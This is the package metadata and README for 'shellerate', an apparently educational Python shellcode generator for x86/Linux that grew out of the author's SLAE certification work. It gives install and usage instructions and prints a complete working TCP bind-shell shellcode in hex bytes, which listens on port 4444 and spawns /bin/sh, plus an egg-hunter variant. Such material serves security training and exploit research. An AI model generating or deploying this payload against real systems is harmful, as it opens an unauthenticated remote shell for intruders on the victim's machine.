Metadata-Version: 2.1
Name: shellerate
Version: 0.3.0
Summary: A shellcode generator with encryption, encoding and polymorphism facilities built-in
Home-page: https://github.com/thesp0nge/shellerate
Author: Paolo Perego
Author-email: paolo@codiceinsicuro.it
License: UNKNOWN
Description: # Shellerate
        
        ## Introduction
        
        This the Changelog file for the shellerate project. 'shellerate' is pun between
        'shell' and 'scellerato', the Italian word for 'wicked'.
        
        'shellerate' is a shellcode generation framework born from the assignments I
        took for the SecurityTube Linux Assembly Expert certification process.
        
        You can feature custom encoders, custom crypters, polymorphism and all stuff I
        learned in the SLAE certification process.
        
        shellerate is Python3 package and supported architectures and operating system
        are limited to:
        
        * x86/Linux
        
        Of course other architectures and operating systems will be added in the future.
        
        ## Installation
        
        To install shellerate to your system you can issue the following command:
        
        > pip install shellerate
        
        ## Available payloads
        
        ### TCP Bind shell shellcode
        
        This shellcode will bind on a given port, waiting for clients and spawn a shell
        on the incoming connection.
        
        #### Platform
        
        At the moment, this shellcode is available only for x86/Linux platform.
        
        #### Features
        
        | Feature | Supported |
        |---------|-----------|
        | Encoding | Yes |
        | Crypter | No |
        | Egg Hunter | Yes |
        
        #### Usage
        
        Basic usage:
        
        ```python
        from shellerate.bind_shellcode import *
        b=BindShellcode(4444, 'x86', 'linux')
        b.generate()
        print("Shellcode: %s" % b.shellcode())
        '\\x31\\xc0\\x89\\xc3\\x89\\xc1\\x89\\xc2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x66\\xb8\\x69\\x01\\x31\\xc9\\x51\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc9\\x31\\xc0\\x66\\xb8\\x6b\\x01\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x51\\x89\\xce\\x89\\xe1\\x89\\xe2\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x02\\x31\\xc0\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x0b\\xcd\\x80'
        ```
        
        Usage with egg hunter
        
        ```python
        from shellerate.bind_shellcode import *
        b=BindShellcode(4444, 'x86', 'linux')
        b.egg_hunter()
        b.generate()
        sc = b.shellcode()
        
        print("Egg Hunter: %s" % sc["egg_hunter_code"])
        print("Shellcode: %s" % sc["egg_hunter_shellcode"])
        ```
        
Platform: UNKNOWN
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Requires-Python: >=3.6.*
Description-Content-Type: text/markdown
